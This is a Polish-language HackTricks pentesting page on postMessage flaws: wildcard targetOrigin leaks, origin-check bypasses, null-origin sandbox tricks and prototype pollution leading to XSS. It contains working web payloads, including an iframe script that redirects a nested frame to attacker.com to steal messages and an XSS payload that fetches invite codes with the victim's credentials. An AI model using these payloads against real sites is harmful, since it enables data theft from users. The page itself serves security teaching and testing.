226 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Luki PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Wyślij **PostMessage**
**PostMessage** używa następującej funkcji do wysyłania wiadomości:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Zauważ, że **targetOrigin** może być '\*' lub adresem URL, takim jak _https://company.com._\
W **drugim scenariuszu** **wiadomość może być wysyłana tylko do tej domeny** (nawet jeśli pochodzenie obiektu okna jest inne).\
Jeśli użyto **znaku wieloznacznego**, **wiadomości mogą być wysyłane do dowolnej domeny** i będą wysyłane do pochodzenia obiektu Window.
### Atakowanie iframe i znak wieloznaczny w **targetOrigin**
Jak wyjaśniono w [**tym raporcie**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), jeśli znajdziesz stronę, która może być **iframed** (brak ochrony `X-Frame-Header`) i która **wysyła wrażliwe** wiadomości za pomocą **postMessage** używając **znaku wieloznacznego** (\*), możesz **zmodyfikować** **pochodzenie** **iframe** i **ujawnić** **wrażliwą** wiadomość do domeny kontrolowanej przez Ciebie.\
Zauważ, że jeśli strona może być iframed, ale **targetOrigin** jest **ustawione na adres URL, a nie na znak wieloznaczny**, ten **sztuczek nie zadziała**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## exploitacja addEventListener
**`addEventListener`** to funkcja używana przez JS do deklarowania funkcji, która **oczekuje `postMessages`**.\
Zostanie użyty kod podobny do poniższego:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Zauważ w tym przypadku, jak **pierwszą rzeczą**, którą kod robi, jest **sprawdzanie pochodzenia**. To jest strasznie **ważne**, szczególnie jeśli strona ma zamiar zrobić **cokolwiek wrażliwego** z otrzymanymi informacjami (jak zmiana hasła). **Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysyłania dowolnych danych do tych punktów końcowych** i zmieniać hasła ofiar (w tym przykładzie).
### Enumeracja
Aby **znaleźć nasłuchiwacze zdarzeń** na bieżącej stronie, możesz:
- **Szukaj** w kodzie JS `window.addEventListener` i `$(window).on` (_wersja JQuery_)
- **Wykonaj** w konsoli narzędzi deweloperskich: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Przejdź do** _Elements --> Event Listeners_ w narzędziach deweloperskich przeglądarki
![](<../../images/image (396).png>)
- Użyj **rozszerzenia przeglądarki** takiego jak [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) lub [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Te rozszerzenia przeglądarki **przechwycą wszystkie wiadomości** i pokażą je Tobie.
### Ominięcia sprawdzania pochodzenia
- Atrybut **`event.isTrusted`** jest uważany za bezpieczny, ponieważ zwraca `True` tylko dla zdarzeń generowanych przez prawdziwe działania użytkownika. Chociaż trudno go obejść, jeśli jest poprawnie zaimplementowany, jego znaczenie w kontrolach bezpieczeństwa jest znaczące.
- Użycie **`indexOf()`** do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Metoda **`search()`** z `String.prototype.search()` jest przeznaczona do wyrażeń regularnych, a nie do ciągów. Przekazanie czegokolwiek innego niż regexp prowadzi do niejawnej konwersji na regex, co czyni metodę potencjalnie niebezpieczną. Dzieje się tak, ponieważ w regexie kropka (.) działa jako symbol wieloznaczny, co pozwala na ominięcie walidacji za pomocą specjalnie skonstruowanych domen. Na przykład:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Funkcja **`match()`**, podobnie jak `search()`, przetwarza regex. Jeśli regex jest źle skonstruowany, może być podatny na ominięcie.
- Funkcja **`escapeHtml`** ma na celu sanitację danych wejściowych poprzez ucieczkę znaków. Jednak nie tworzy nowego obiektu z ucieczką, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. Szczególnie, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje `hasOwnProperty`, `escapeHtml` nie zadziała zgodnie z oczekiwaniami. To jest pokazane w poniższych przykładach:
- Oczekiwana awaria:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Ominięcie ucieczki:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
W kontekście tej podatności, obiekt `File` jest szczególnie podatny na wykorzystanie z powodu swojej właściwości `name`, która jest tylko do odczytu. Ta właściwość, gdy jest używana w szablonach, nie jest sanitizowana przez funkcję `escapeHtml`, co prowadzi do potencjalnych zagrożeń bezpieczeństwa.
- Właściwość `document.domain` w JavaScript może być ustawiana przez skrypt w celu skrócenia domeny, co pozwala na bardziej luźne egzekwowanie polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.
### Ominięcie e.origin == window.origin
Podczas osadzania strony internetowej w **sandboxed iframe** przy użyciu %%%%%%, ważne jest, aby zrozumieć, że pochodzenie iframe będzie ustawione na null. Jest to szczególnie istotne w przypadku **atrybutów sandbox** i ich implikacji na bezpieczeństwo i funkcjonalność.
Poprzez określenie **`allow-popups`** w atrybucie sandbox, każde okno popup otwarte z wnętrza iframe dziedziczy ograniczenia sandboxu swojego rodzica. Oznacza to, że chyba że atrybut **`allow-popups-to-escape-sandbox`** jest również uwzględniony, pochodzenie okna popup jest również ustawione na `null`, co jest zgodne z pochodzeniem iframe.
W konsekwencji, gdy popup jest otwierany w tych warunkach i wiadomość jest wysyłana z iframe do popupu za pomocą **`postMessage`**, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na `null`. Ta sytuacja prowadzi do scenariusza, w którym **`e.origin == window.origin`** ocenia się jako prawda (`null == null`), ponieważ zarówno iframe, jak i popup dzielą tę samą wartość pochodzenia `null`.
Aby uzyskać więcej informacji **przeczytaj**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Ominięcie e.source
Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla **Content Scripts z rozszerzeń przeglądarki**, aby sprawdzić, czy wiadomość została wysłana z tej samej strony):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Możesz wymusić, aby **`e.source`** wiadomości było równe null, tworząc **iframe**, który **wysyła** **postMessage** i jest **natychmiast usuwany**.
Aby uzyskać więcej informacji **przeczytaj:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Obejście nagłówka X-Frame
Aby przeprowadzić te ataki, najlepiej byłoby **umieścić stronę internetową ofiary** w `iframe`. Jednak niektóre nagłówki, takie jak `X-Frame-Header`, mogą **zapobiegać** temu **zachowaniu**.\
W takich scenariuszach możesz nadal użyć mniej dyskretnego ataku. Możesz otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Kradzież wiadomości wysłanej do dziecka przez zablokowanie głównej strony
Na poniższej stronie możesz zobaczyć, jak można ukraść **wrażliwe dane postmessage** wysłane do **dziecięcego iframe** przez **zablokowanie** **głównej** strony przed wysłaniem danych i wykorzystanie **XSS w dziecku** do **ujawnienia danych** przed ich odebraniem:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Kradzież wiadomości przez modyfikację lokalizacji iframe
Jeśli możesz umieścić stronę w iframe bez X-Frame-Header, która zawiera inny iframe, możesz **zmienić lokalizację tego dziecięcego iframe**, więc jeśli odbiera **postmessage** wysłane za pomocą **wildcard**, atakujący mógłby **zmienić** ten iframe **origin** na stronę **kontrolowaną** przez niego i **ukraść** wiadomość:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage do zanieczyszczenia prototypu i/lub XSS
W scenariuszach, w których dane wysyłane przez `postMessage` są wykonywane przez JS, możesz **umieścić** **stronę** w **iframe** i **wykorzystać** **zanieczyszczenie prototypu/XSS**, wysyłając exploit za pomocą `postMessage`.
Kilka **bardzo dobrze wyjaśnionych XSS przez `postMessage`** można znaleźć w [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Przykład exploita do wykorzystania **zanieczyszczenia prototypu, a następnie XSS** przez `postMessage` do `iframe`:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Dla **więcej informacji**:
- Link do strony o [**zanieczyszczeniu prototypu**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Link do strony o [**XSS**](../xss-cross-site-scripting/index.html)
- Link do strony o [**zanieczyszczeniu prototypu po stronie klienta do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Odniesienia
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Do ćwiczeń: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}